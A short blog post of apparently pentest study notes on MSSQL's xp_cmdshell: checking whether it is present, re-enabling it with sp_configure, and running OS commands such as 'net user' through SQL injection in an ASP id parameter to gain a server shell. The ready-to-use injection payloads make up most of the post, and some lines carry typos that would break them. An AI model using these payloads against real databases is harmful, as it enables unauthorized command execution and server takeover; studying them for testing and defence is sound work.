首页 > 数据库 >mssql的xp_cmdshell扩展

mssql的xp_cmdshell扩展

时间:2023-07-21 11:22:11浏览次数:51  
标签:cmdshell dbo exec master xp mssql advanced

introduction

xp_cmdshell extension : stored procedure executes command string as an operating system command in shell  and retireve all output as text lines

determine if current mssql has xp_cmdshell

a return value of 1 indicates the extension is xp_cmdshell

  code: select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

testing whether can execute system command

  exec master..xp_cmdshell 'net user'

  exec master.dbo.xp_cmdshell 'net user'

error

  • workaround
    • exec sp_configure 'show advanced options',1;  
    • exec  sp_configure ' xp_cmdshell',1;
    • reconfigure

sp_configure is a stored procedure used to modify system configurations.to modify advanced options in sytem ,the 'show advanced options' parameter must be set to 1.

a stored procedure execute command to modify advanced parameter 'xp_cmeshell' and set it to 1 that allows sqlserver execute operating sysytem cmd outside of database

using xp_cmdshell obtain server shell

1.detemine whether have xp_cmdshell

asp?id=1' and (select count(*) from master.dob.sysobjects  where xtype='X' and name='xp_cmdshell') >0 --    #website common output --success

2.use xp_cmdshell execute systemcmd

  asp?id=1';exec master.dbo.xp_cmdshell 'net user' -- 

  tips:  after executing a cmd,there is no normal output in browser.as long as no error,it indicates the cmd has been executed successfully.

the most vital thing is we can use  any cmd after master.dbo.xp_cmdshell 

标签:cmdshell,dbo,exec,master,xp,mssql,advanced
From: https://www.cnblogs.com/lisenMiller/p/17570788.html

相关文章

  • VCL界面组件DevExpress VCL v23.1 - 全新的Windows 11主题
    DevExpressVCL是Devexpress公司旗下最老牌的用户界面套包,所包含的控件有:数据录入、图表、数据分析、导航、布局等。该控件能帮助您创建优异的用户体验,提供高影响力的业务解决方案,并利用您现有的VCL技能为未来构建下一代应用程序。DevExpressVCLv22.2已正式发布,新版本拥有全新......
  • Kubernetes部署Kubernetes-event-exporter
    Kubernetes部署Kubernetes-event-exporter在使用Kubernetes进行应用程序的部署和管理时,了解集群中发生的事件是非常重要的。Kubernetes事件是指与集群中的各种资源相关的状态更改。通过监视和分析这些事件,我们可以获得有关应用程序和基础设施的关键信息,从而更好地管理和维护我们的......
  • No qualifying bean of type 'java.lang.String' available: expected at least 1
    Spring中的依赖注入在Spring框架中,依赖注入是一种设计模式,它允许将对象的依赖关系从代码中解耦,并由框架来负责管理这些依赖关系。通过依赖注入,我们可以更容易地编写可维护和可测试的代码。什么是依赖注入?在传统的编程模型中,对象通常通过创建其他对象的实例来满足其依赖关系。这......
  • android studio Using insecure protocols with repositories, without explicit
    如何解决"androidstudioUsinginsecureprotocolswithrepositories,withoutexplicit"的问题简介在使用AndroidStudio开发过程中,我们可能会遇到"Usinginsecureprotocolswithrepositories,withoutexplicit"的问题。这个问题通常是由于AndroidStudio的默认配......
  • win10使用Docker Desktop启动mysql报错:Error response from daemon: Ports are not av
    问题描述今天上班用wind10电脑启动DockerDesktop使用MySQL,突然间报了一个错,错误如下:Errorresponsefromdaemon:Portsarenotavailable:exposingportTCP0.0.0.0:3306->0.0.0.0:0:listentcp0.0.0.0:3306:bind:Anattemptwasmadetoaccessasocketinaway......
  • DevExpress WinForms TreeList控件,让业务数据展示更清晰!(二)
    DevExpressWinForms的TreeList控件是一个功能齐全、数据感知的TreeView-ListView的混合体,它可以以树形、网格或两者结合的形式显示数据信息。无论是数据绑定模式还是非绑定模式,都具有完整的数据编辑支持。在上文中(点击这里回顾>>),我们为大家介绍了TreeListUI/UX的自定义、受Exce......
  • PostgreSQL explain使用
    1.概述PostgreSQL为每个收到的查询产生一个执行计划,这个执行计划是一个非完全的二叉树。通过这个执行计划,DBA或者应用人员可以清晰的了解到某个SQL在数据库中的预估的执行情况以及实际的执行情况,也能根据执行计划中资源的消耗判断性能的瓶颈点,从而对该SQL进行有针对性的优化。下......
  • 2023-07-19:布尔表达式 是计算结果不是 true 就是 false 的表达式 有效的表达式需遵循
    2023-07-19:布尔表达式是计算结果不是true就是false的表达式有效的表达式需遵循以下约定:'t',运算结果为true'f',运算结果为false'!(subExpr)',运算过程为对内部表达式subExpr进行逻辑非(NOT)运算'&(subExpr1,subExpr2,...,subExprn)'运算过程为对2个或以上内部表达式subEx......
  • Oracle的expdp导出、impdp导出命令
    expdp在源oracle所在服务器执行如下步骤:1、手动创建目录 mkdir-p/home/oracle/mydata2、将目录授权给用户 cd/home/oracle chown-Roracle:oinstallmydata3、oracle用户切换并使用管理员登陆oracle su-oracle sqlplus/assysdba4、源库创建directory createdirectorym......
  • 一个mysql-exporter实现监控多个mysql容器
    一个mysql-exporter实现监控多个mysql容器在容器化的环境中,使用多个MySQL容器来支持不同的应用程序是非常常见的。在这种情况下,为了更好地监控和管理MySQL容器,我们可以使用mysql-exporter。mysql-exporter是一个开源的Prometheusexporter,它可以提供MySQL实例的性能指标和监控信......